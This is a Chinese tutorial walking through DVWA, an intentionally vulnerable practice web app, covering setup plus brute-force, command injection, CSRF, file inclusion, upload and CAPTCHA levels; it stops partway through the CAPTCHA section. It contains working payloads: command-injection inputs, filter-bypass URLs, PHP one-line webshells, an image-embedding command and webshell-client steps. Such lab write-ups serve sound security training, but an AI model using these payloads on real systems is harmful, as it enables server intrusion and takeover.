网络安全之DVWA通关教程

网络安全之DVWA通关教程

  • 一、DVWA简介
  • 二、DVWA安装
    • 2.1 安装PHPStudy
    • 2.2 安装DVWA
  • 三、DVWA使用
    • 3.1 Brute Force(暴力破解)
      • 3.1.1 Low级别
      • 3.1.2 Medium级别
      • 3.1.3 High级别
    • 3.2 Command Injection(命令注入)
      • 3.2.1 Low级别
      • 3.2.2 Middle级别
      • 3.2.3 High级别
      • 3.2.4 Impossible级别
    • 3.3 CSRF(跨站请求伪造)
      • 3.3.1 Low级别
      • 3.3.2 Middle级别
      • 3.3.3 High级别
    • 3.4 File Inclusion(文件包含漏洞)
      • 3.4.1 Low级别
      • 3.4.2 Middle级别
      • 3.4.3 High级别
    • 3.5 File Upload(文件上传漏洞)
      • 3.5.1 Low级别
      • 3.5.2 Middle级别
      • 3.5.3 High级别
    • 3.6 Insecure CAPTCHA(不安全验证码)
      • 3.6.1 Low级别
      • 3.6.2 Middle级别
      • 3.6.3 High级别
    • 3.7 Weak Session IDS(弱会话ID)
      • 3.7.1 Low级别
      • 3.7.2 Middle级别
      • 3.7.3 High级别
    • 3.8 SQL Injection(SQL注入)
      • 3.8.1 Low级别
      • 3.8.2 Middle级别
      • 3.8.3 High级别
    • 3.9 SQL Injection(Blind)(SQL盲注)
      • 3.9.1 Low级别
      • 3.9.2 Middle级别
      • 3.9.3 High级别
    • 3.10 XSS(Cross Site Scripting 跨站脚本攻击)
      • 3.10.1 XSS(DOM)(DOM型跨站脚本攻击)
        • 3.10.1.1 Low级别
        • 3.10.1.2 Middle级别
        • 3.10.1.3 High级别
      • 3.10.2 XSS (Reflected)(反射型跨站脚本攻击)
        • 3.10.2.1 Low级别
        • 3.10.2.2 Middle级别
        • 3.10.2.3 High级别
      • 3.10.3 XSS (Stored)(存储型跨站脚本攻击)
        • 3.10.3.1 Low级别
        • 3.10.3.2 Middle级别
        • 3.10.3.3 High级别
    • 3.11 CSP Bypass(内容安全策略绕过)
      • 3.11.1 Low级别
      • 3.11.2 Middle级别
      • 3.11.3 High级别
    • 3.12 JavaScript
      • 3.12.1 Low级别
      • 3.12.2 Middle级别
      • 3.12.3 High级别

一、DVWA简介

  • DVWA全称为Damn Vulnerable Web Application,意为存在糟糕漏洞的web应用。它是一个基于PHP/MySQL开发的存在糟糕漏洞的web应用,旨在为专业的安全人员提供一个合法的环境,来测试他们的工具和技能。帮助web开发人员理解web应用保护的过程,还可以在课堂中为师生的安全性教学提供便利。
  • DVWA 一共包含了十个攻击模块,分别是:
  1. Brute Force(暴力破解)
  2. Command Injection(命令行注入)
  3. CSRF(跨站请求伪造)
  4. File Inclusion(文件包含)
  5. File Upload(文件上传)
  6. Insecure CAPTCHA (不安全的验证码)
  7. SQL Injection(SQL注入)
  8. SQL Injection(Blind)(SQL盲注)
  9. XSS(Reflected)(反射型跨站脚本)
  10. XSS(Stored)(存储型跨站脚本)

包含了 OWASP TOP10 的所有攻击漏洞的练习环境,一站式解决所有 Web 渗透的学习环境;

  • DVWA 还可以手动调整靶机源码的安全级别,分别为 Low,Medium,High,Impossible,级别越高,安全防护越严格,渗透难度越大。一般 Low 级别基本没有做防护或者只是最简单的防护,很容易就能够渗透成功;而 Medium 会使用到一些非常粗糙的防护,需要使用者懂得如何去绕过防护措施;High 级别的防护则会大大提高防护级别,一般 High 级别的防护需要经验非常丰富才能成功渗透;最后 Impossible 基本是不可能渗透成功的,所以 Impossible 的源码一般可以被参考作为生产环境 Web 防护的最佳手段。

二、DVWA安装

  • DVWA 是 PHP/MySQL 的源码环境,所以需要准备 PHP 和 MySQL 的运行环境。PHPStudy 是一个 PHP 调试环境的程序集成包。该程序包集成最新的 LAMP 和 WAMP 架构,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。
  • 安装环境:
    1)PHPStudy:https://www.xp.cn/download.html
    2)DVWA:https://github.com/digininja/DVWA

2.1 安装PHPStudy

  • 下载安装包解压;
    在这里插入图片描述
  • 运行exe文件进行安装,建议安装在非C盘;
    网络安全之DVWA通关教程_第1张图片
  • 安装完成后,打开PHPStudy界面;
    网络安全之DVWA通关教程_第2张图片
  • 开启Apache和MySql两个服务,点击启动;
    网络安全之DVWA通关教程_第3张图片
  • 启动MySQL5.7.26时,会提示无法启动,主要原因是之前已经在本地安装好了一个MySQL服务,而phpstudy里的MySQL服务与本地的MySQL占用的都是3306端口,产生了冲突。
  • 解决方式:
    1)首先按下win+R 执行 services.msc 进入服务,查找到MySQL,点击停止服务,然后在控制台cmd进入本地安装MySQL的文件夹,我的文件名是D:\mysql-8.0.30-winx64\mysql-8.0.30-winx64\bin,进入后执行命令sc delete mysql来删除服务,发现无法删除,原因是要用管理员身份进行该操作才可以。
    2)删除成功后phpstudy上的MySQL数据库就会自动启动了。

2.2 安装DVWA

  • 下载安装包:
    在这里插入图片描述
  • 解压下载的 DVWA-master.zip,为方便后期访问,把解压的文件夹改名为 DVWA,把该文件夹复制到 PHPStudy 的默认 Web 站点根目录 D:\phpstudy_pro\WWW:
    网络安全之DVWA通关教程_第4张图片- 在 D:\phpstudy_pro\WWW\DVWA\config 目录下,找到 config.inc.php.dist 文件,重命名为 config.inc.php

网络安全之DVWA通关教程_第5张图片

  • 用记事本打开 config.inc.php 文件,把配置文档中的 $_DVWA[ 'db_password' ] = 'P@ssw0rd'; 修改为 $_DVWA[ 'db_password' ] = 'root';,(这里修改的是 MySQL 的管理员密码,该密码默认是 root,如果修改过 MySQL 密码,这里需要改成你自己的密码)

网络安全之DVWA通关教程_第6张图片

  • 之后保持PHPStudy开启状态,在浏览器中输入http://127.0.0.1/DVWA,进入安装配置页面:点击左侧Setup / Retset DB
    网络安全之DVWA通关教程_第7张图片

  • 解决图中报错问题:
    1)没有开启PHP url_include模块
    D:\phpstudy_pro\Extensions\php\php7.3.4nts路径中找到php.ini中的allow_url_include为On,如下图所示。然后保存,重启PHPstudy,错误得到解决。 在这里插入图片描述 2)缺少了验证码的key
    编辑 dvwa/config/config.inc.php这个配置文件,找到以下代码把key填上就行了。
    $_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
    $_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';
    网络安全之DVWA通关教程_第8张图片

  • 点击最下面的那个Create/Reset Database按钮创建数据库,如果创建成功则表示如下结果:
    网络安全之DVWA通关教程_第9张图片- 创建成功后,可成功登陆,跳过登陆界面(登陆界面网址:http://127.0.0.1/dvwa/login.php,如果Burpsuite不能截取到127的流量,可以将登陆网址改为:http://本地主机IP地址/dvwa/login.php),默认登陆默认用户名为admin,密码为password

网络安全之DVWA通关教程_第10张图片

  • 登录成功,则显示如下界面,至此,DVWA靶场搭建成功:
    网络安全之DVWA通关教程_第11张图片
  • 在DVWA Security选项中,可以调整dvwa的难易程度,如图:
    网络安全之DVWA通关教程_第12张图片

三、DVWA使用

  • 前提条件:开启PHPStudy或者PHPStudy_pro,进入页面开始Apache和MySQL;
    网络安全之DVWA通关教程_第13张图片
  • 浏览器开启代理;
    网络安全之DVWA通关教程_第14张图片
  • Burpsuite配置代理;

网络安全之DVWA通关教程_第15张图片

  • 解决DVWA中文乱码的问题,在DVWA\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改为”charset=gb2312”,即可解决乱码问题。
    网络安全之DVWA通关教程_第16张图片

3.1 Brute Force(暴力破解)

3.1.1 Low级别

  • 登陆DVWA,点击DVWA Security->Low->Submit
    网络安全之DVWA通关教程_第17张图片
  • 点击Brute Force,输入用户名和密码分别为123456,显示验证错误;
    网络安全之DVWA通关教程_第18张图片
  • 在Burpsuite中,点击Proxy->HTTP history,抓到包后,点击鼠标右键send ro intruder

网络安全之DVWA通关教程_第19张图片

  • send to intruder在intruder的positions选择中,先点击clear$清除所有的变量。添加变量并将attack type的值设置为cluster bomb;
    网络安全之DVWA通关教程_第20张图片
  • 然后分别给username和password这两个字段后面的内容添加add$
    网络安全之DVWA通关教程_第21张图片
  • 在Payloads sets选择中分别给Payload set 1和Payload set 2设置字典或加载字典路径;
    网络安全之DVWA通关教程_第22张图片网络安全之DVWA通关教程_第23张图片
  • 设置完成后,点击右上方的Start attack;
    网络安全之DVWA通关教程_第24张图片
  • 开始枚举,结果通过length降序排列;
    网络安全之DVWA通关教程_第25张图片
  • 红色部分为破解的密码,通过上面的破解,我们发现length的长度存在不一样,不一样的就是为破解成功的账号和密码。

3.1.2 Medium级别

  • 相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,",x1a)进行转义,把其中的字符串给过滤掉了,基本上能够抵御sql注入攻击,那低等级时候用到的注入就失效了,需要注意的是中级的暴力破解相对来说较慢是因为有个sleep函数,在破解失败后会使程序停止运行两秒。所以我们直接用爆破方法即可,和low级的一样。

3.1.3 High级别

  • 点击DVWA Security->High->Submit

网络安全之DVWA通关教程_第26张图片

  • High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度。

  • CSRF(Cross-site request forgery),中文名称:跨站请求伪造。攻击者盗用你的身份,以你的名义发送恶意请求。
    网络安全之DVWA通关教程_第27张图片

  • Token抵御CSRF攻击原理:
    1)将CSRF Token输出到页面中:
    首先,用户打开页面的时候,服务器需要给这个用户生成一个Token,该Token通过加密算法对数据进行加密,一般Token都包括随机字符串和时间戳的组合,显然在提交时Token不能再放在Cookie中了,否则又会被攻击者冒用。因此,为了安全起见Token最好还是存在服务器的Session中,之后在每次页面加载时,使用JS遍历整个DOM树,对于DOM中所有的a和form标签后加入Token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的HTML代码,这种方法就没有作用,还需要程序员在编码时手动添加Token。

    2)页面提交的请求携带这个Token:
    对于GET请求,Token将附在请求地址之后,这样URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上:

    这样,就把Token以参数的形式加入请求了。
    3)服务器验证Token是否正确:
    当用户从客户端得到了Token,再次提交给服务器的时候,服务器需要判断Token的有效性,验证过程是先解密Token,对比加密字符串以及时间戳,如果加密字符串一致且时间未过期,那么这个Token就是有效的。

  • 采用同样的方式,点击Brute Force,输入用户名和密码分别为123456,显示验证错误;通过抓包发现,登录验证时提交了四个参数:username、password、Login以及user_token。
    网络安全之DVWA通关教程_第28张图片

  • 发现在High级别中,请求参数多了一个token参数,将抓到的包发送到Intruder,选择攻击模式为pitchfock,并且给要破解的项带上$符号;
    网络安全之DVWA通关教程_第29张图片

  • 设置参数,设置resource pool为1,因为为了Token抵御CSRF攻击,页面提交的请求携带服务端回传的Token值,所以不能并行,只能采用单线程;
    网络安全之DVWA通关教程_第30张图片

  • 然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add;
    网络安全之DVWA通关教程_第31张图片

  • 1、点击refetch response 2、搜索token 3、输入value=' 4、选中 5、点击ok,复制选中的token值,如下图进行设置;

网络安全之DVWA通关教程_第32张图片

  • 最后将Redirections设置为Always ,就是每次获取一个新的token之后,下次页面请求时采用新的token;
    网络安全之DVWA通关教程_第33张图片
  • 在Payloads sets选择中分别给Payload set 1账号和Payload set 2密码设置字典或加载字典路径;

网络安全之DVWA通关教程_第34张图片
网络安全之DVWA通关教程_第35张图片

  • 将token设置为递归搜索,将刚才的token值复制过来作为第一个token值(见上文黄色字体);
    网络安全之DVWA通关教程_第36张图片
  • 点击Start attack开始爆破;
    网络安全之DVWA通关教程_第37张图片
  • 显示welcome成功爆破;
    网络安全之DVWA通关教程_第38张图片

3.2 Command Injection(命令注入)

  • 命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。
  • 命令执行连接符
    a && b :先执行命令a再执行命令b,命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。
    a & b:先执行命令a再执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰。
    a || b:先执行a命令再执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。
    a | b:代表首先执行a命令,再执行b命令,不管a命令成功与否,都会去执行b命令。

3.2.1 Low级别

  • 解决中文乱码的问题,在DVWA\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改为”charset=gb2312”,即可解决乱码问题。
    网络安全之DVWA通关教程_第39张图片
  • 查看low的源码
    网络安全之DVWA通关教程_第40张图片
stristr() 函数搜索字符串在另一字符串中的第一次出现,不区分大小写
php_uname() 返回了运行 PHP 的操作系统的描述。
参数:
'a':此为默认。
's':操作系统名称。
'n':主机名。
'r':版本名称。
'v':版本信息。
'm':机器类型。
  • 通过源码可以看出,源码只是针对不同的操作系统执行不同的ping命令而已,没有对ip参数并未做任何的过滤,因此存在命令注入漏洞。
  • 输入127.0.0.1&&echo “Hello”
    网络安全之DVWA通关教程_第41张图片
  • 输入127.0.0.1&&ipconfig
    网络安全之DVWA通关教程_第42张图片

3.2.2 Middle级别

  • 查看middle的源码,如下所示:
    网络安全之DVWA通关教程_第43张图片

  • 可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,过滤了&&、;,但是没有过滤掉&、|,所以依旧有漏洞。

  • 输入127.0.0.1|dir
    网络安全之DVWA通关教程_第44张图片

  • 输入127.0.0.1 & ipconfig
    网络安全之DVWA通关教程_第45张图片

3.2.3 High级别

  • 查看high级别的源码:
    网络安全之DVWA通关教程_第46张图片
  • 这次过滤的更狠,几乎过滤了所有的常用连接符,拼接的方法也是不起作用的,但是观察代码发现|+空格多出一个空格,所以不会过滤|那就利用这个漏洞进行命令执行;
  • 输入127.0.0.1 |net user(|和net之间无空格)

网络安全之DVWA通关教程_第47张图片

3.2.4 Impossible级别

  • 查看源码:


if( isset( $_POST[ 'Submit' ]  ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$target = $_REQUEST[ 'ip' ];
	$target = stripslashes( $target );

	// Split the IP into 4 octects
	$octet = explode( ".", $target );

	// Check IF each octet is an integer
	if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
		// If all 4 octets are int's put the IP back together.
		$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

		// Determine OS and execute the ping command.
		if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
			// Windows
			$cmd = shell_exec( 'ping  ' . $target );
		}
		else {
			// *nix
			$cmd = shell_exec( 'ping  -c 4 ' . $target );
		}

		// Feedback for the end user
		$html .= "
{$cmd}
"
; } else { // Ops. Let the user name theres a mistake $html .= '
ERROR: You have entered an invalid IP.
'
; } } // Generate Anti-CSRF token generateSessionToken(); ?>
stripslashes(string)
#stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
explode(separator,string,limit)
#explode()函数把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目
is_numeric(string)
#is_numeric()函数检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
  • Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

3.3 CSRF(跨站请求伪造)

  • CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

3.3.1 Low级别

  • 尝试两次密码不一致,分别是123和1234;
    网络安全之DVWA通关教程_第48张图片
  • 可以看到页面顶部URL是http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=1234&Change=Change#为修改密码的链接;
  • 当我们打开另外一个新页面,在顶部URL中输入http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,可以看到密码成功修改了。
    网络安全之DVWA通关教程_第49张图片

3.3.2 Middle级别

  • Medium级别的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证。即用户的请求头中的Referer字段必须包含了服务器的名字。当我们再打开另一个页面,在顶部URL中自己输入如下的URL时,http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,会提示报错,提示http Referer字段没有定义索引。
    网络安全之DVWA通关教程_第50张图片
  • 当我们采用页面进行正常密码修改,如下图所示,然后采用Burpsuite进行抓包,查看Referer字段;
    网络安全之DVWA通关教程_第51张图片
    网络安全之DVWA通关教程_第52张图片
  • 然后,我们打开另一个页面,在顶部URL中自己输入如下的链接http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#,用burpsuite进行抓包,此时密码修改不成功的。
    网络安全之DVWA通关教程_第53张图片
  • 请求包的头中并没有Referer字段,所以不能成功修改密码。
  • 我们手动修改Burpsuite中的请求字段Referer,只要该字段中包含127.0.0.1即可,重新发送请求,发现密码可以修改成功。

网络安全之DVWA通关教程_第54张图片网络安全之DVWA通关教程_第55张图片

  • 显示密码修改成功。

3.3.3 High级别

  • High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。
  • 因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。
    网络安全之DVWA通关教程_第56张图片

3.4 File Inclusion(文件包含漏洞)

  • 文件包含:PHP为了提高代码复用性,提供了文件包含函数 include() , require(), require_once()include_once(),被包含的文件内容会被当做代码来执行;即把重复使用的一段代码,单独写到一个文件里,再用文件包含函数来包含这个文件;
  • 文件包含漏洞:为了灵活的包含文件,一些程序员会把文件名通过参数的形式传递给文件包含函数。当传递文件名的参数被用户修改时,用户就可以包含任意文件,而文件中的代码就会被服务器执行,这就造成了文件包含漏洞;
  • 文件包含函数 PHP提供了四个文件包含函数:
    1)include() :当被包含的文件不存在时,会报错(Error),后面的代码不被执行;
    2) include_once() :只包含一次,包含过的文件不会被重复包含;
    3) require() :当被包含的文件不存在时,会告警(Wrainng),后面的代码可以继续执行;
    4)require_once():只包含一次,包含过的文件不会被重复包含。
  • 文件包含函数不关心文件的后缀名,它只是简单的执行被包含的文件,如果文件的内容是代码,就会执行代码;如果不是代码,就当做文本输出到页面;
  • 文件包含漏洞根据包含文件的位置可以分为本地文件包含和远程文件包含:
    1)本地文件包含是指:包含服务器本地的文件。
    本地文件包含的payload通常以根目录(/)或文件名开头。也就是绝对路径和相对路径。
    利用条件:配置文件开启fopen(allow_url_fopen=On) 用户可控参数,后台未过滤包含的文件。
    功能很简单:点不同的链接,跳转到对应的文件;在地址栏中,手动修改page的参数为 file1.php 和 file2.php,页面也会跳转到对应的页面,本质上是后台用文件包含函数 包含了这个文件。这意味着参数可控,我们可以通过修改page的参数,让页面包含指定的文件,前提是文件存在。
    2)远程文件包含是指:包含远端的文件。
    远程文件包含的payload通常以 http:// 或 ftp:// 开头。
    利用条件:配置文件开启 fopen 和 include(allow_url_include=On) 用户参数可控,且后台没有过滤包含的文件。
    网络安全之DVWA通关教程_第57张图片

3.4.1 Low级别



// The page we wish to display
$file = $_GET[ 'page' ];

?>

  • 首先查看源码发现没有任何过滤。可以看出服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确实为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

  • 点开file1.php和其他的只有page=后面的发生了变化,因此可以将page后的参数视为可控字段;
    网络安全之DVWA通关教程_第58张图片

  • 文件包含是在url通过GET传参的方式获取文件,我们用 / 查看一下上下级目录,发现可以直接获取服务器文件路径:
    在这里插入图片描述

  • 输入?page=…/…/phpinfo.php 可以看到php的具体信息:
    网络安全之DVWA通关教程_第59张图片

  • 我们在C盘创建一个txt文档, 在url里面尝试上传包含本地文件 C://h.txt:
    网络安全之DVWA通关教程_第60张图片在这里插入图片描述

  • 成功输出hello.txt文件内容,只有php文件会解析运行。其他的只会原封不动的输出出来。

  • 漏洞利用:
    1)新建木马文件并上传,进入文件上传File Upload,进行上传:
    网络安全之DVWA通关教程_第61张图片
    2)上传,并复制路径:网络安全之DVWA通关教程_第62张图片3)复制链接../../hackable/uploads/h.php到文件包含,发现未报错,文件解析成功:
    网络安全之DVWA通关教程_第63张图片4)根据路径到dvwa的文件包括目录,发现在新建木马路径中生成了shell.php文件:
    网络安全之DVWA通关教程_第64张图片5)打开蚁剑鼠标右键添加数据,地址为shell.php的地址,即http://127.0.0.1/dvwa/vulnerabilities/fi/shell.php,密码就是我们木马post里面写的的密码pass,直接连接:

网络安全之DVWA通关教程_第65张图片网络安全之DVWA通关教程_第66张图片双击URL地址:
网络安全之DVWA通关教程_第67张图片渗透成功:
网络安全之DVWA通关教程_第68张图片

3.4.2 Middle级别


 
// The page we wish to display
$file = $_GET[ 'page' ];
 
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
 
?> 
  • 通过审核代码,可以看到,代码使用 str_replace函数对http://https://进行了过滤,防止了远程包含漏洞的产生。但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http://,所以最终还是会包含到 http://xx
  • 访问本地phpinfo.php文件,http://127.0.0.1/dvwa/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/dvwa/phpinfo.php,代码将http://替换为空之后,page=后剩余http://127.0.0.1/dvwa/phpinfo.php,仍可以返回数据,结果如下:
    网络安全之DVWA通关教程_第69张图片网络安全之DVWA通关教程_第70张图片

3.4.3 High级别



// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>

  • high级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示Error:File not found。于是,我们可以利用 file 协议进行绕过。例如:访问http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\test.txt,结果如下:
    网络安全之DVWA通关教程_第71张图片在这里插入图片描述

3.5 File Upload(文件上传漏洞)

  • File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

3.5.1 Low级别

  • 准备hk.php

@eval($_POST['hack'])
?>
  • 登录DWVA,上传此文件
    网络安全之DVWA通关教程_第72张图片
  • 使用蚁剑来连接获得webshell,打开蚁剑在空白处 右键 -->添加数据;
    1)下图中URL地址获取方式:DVWA文件上传的URLhttp://10.15.1.111/dvwa/vulnerabilities/upload/#与上传成功显示的路径../../hackable/uploads/hk.php进行拼接,去掉#号变为http://10.15.1.111/dvwa/vulnerabilities/upload/../../hackable/uploads/hk.php,然后在浏览器中打开此URLhttp://10.15.1.111/dvwa/vulnerabilities/upload/../../hackable/uploads/hk.php,打开后URL会变为http://10.15.1.111/dvwa/hackable/uploads/hk.ph,将此URL填写到蚁剑的URL中;
    网络安全之DVWA通关教程_第73张图片
  • 连接密码如下:
    网络安全之DVWA通关教程_第74张图片
  • 点击添加即可完成:
    网络安全之DVWA通关教程_第75张图片
  • 连接成功如下所示:
    网络安全之DVWA通关教程_第76张图片
  • 双击URL地址,进去渗透路径:
    网络安全之DVWA通关教程_第77张图片
  • 空白位置右键,新建文件:
    网络安全之DVWA通关教程_第78张图片在这里插入图片描述
  • 查询新建文件,文件创建成功:
    网络安全之DVWA通关教程_第79张图片

3.5.2 Middle级别

  • Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB),如果我们直接上传,会提示如下Your image was not uploaded. We can only accept JPEG or PNG images.可以看到,对上传的文件做出了要求,必须是jpg和png解决方法抓包修改文件类型即可。
  • 所以我们创建一个hk1.jpg的文件,然后使用burp进行修改文件类型。
    网络安全之DVWA通关教程_第80张图片网络安全之DVWA通关教程_第81张图片网络安全之DVWA通关教程_第82张图片
  • 修改后点击放行(Forward),可在路径中查看hk1.php文件上传成功。
    网络安全之DVWA通关教程_第83张图片
  • 木马文件上传成功,可采用蚁剑进行后续操作。

3.5.3 High级别



if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
		( $uploaded_size < 100000 ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
			// No
			$html .= '
Your image was not uploaded.
'
; } else { // Yes! $html .= "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file $html .= '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>
  • 查看源码,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpeg” 、”.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。发现仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的

网络安全之DVWA通关教程_第84张图片

  • 首先,制作图片木马:先准备一张小图片small.jpg和一句话木马文件high_hk.php;然后将木马植入图片中,在图片和木马文件所在的目录进行CMD命令行:copy small.jpg/b+high_hk.php/a new_hk.jpg,Linux系统木马植入执行语句:cat high_hk.php >> new_hk.jpg
    网络安全之DVWA通关教程_第85张图片
  • high_hk.php文件:一句话木马文件

@eval($_POST['hack'])
?>

网络安全之DVWA通关教程_第86张图片

  • 查看生成的文件:前面是乱码,最后是一句话木马。
    网络安全之DVWA通关教程_第87张图片
  • 开始上传文件,发现文件上传成功:
    网络安全之DVWA通关教程_第88张图片
  • 可采用蚁剑进行后续操作。

3.6 Insecure CAPTCHA(不安全验证码)

3.6.1 Low级别



if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
	// Hide the CAPTCHA form
	$hide_form = true;

	// Get input
	$pass_new  = $_POST[ 'password_new' ];
	$pass_conf = $_POST[ 'password_conf' ];

	// Check CAPTCHA from 3rd party
	$resp = recaptcha_check_answer(
		$_DVWA[ 'recaptcha_private_key'],
		$_POST['g-recaptcha-response']
	);

	// Did the CAPTCHA fail?
	if( !$resp ) {
		// What happens when the CAPTCHA was entered incorrectly
		$html     .= "

The CAPTCHA was incorrect. Please try again.
"
; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user $html .= "

You passed the CAPTCHA! Click the button to confirm your changes.
{$pass_new}\" /> {$pass_conf}\" />
"
; } else { // Both new passwords do not match. $html .= "
Both passwords must match.
"
; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
'
); // Feedback for the end user $html .= "
Password Changed.
"
; } else { // Issue with the passwords matching $html .= "
Passwords did not match.
"
; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 查看源码可以看到,服务器将该密码操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
  • 输入验证码进行抓包:
    网络安全之DVWA通关教程_第89张图片
  • 此时step是1,鼠标右键选择Send to Repeater,将step改为2,点击Send,显示修改成功。
    网络安全之DVWA通关教程_第90张图片

3.6.2 Middle级别



if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
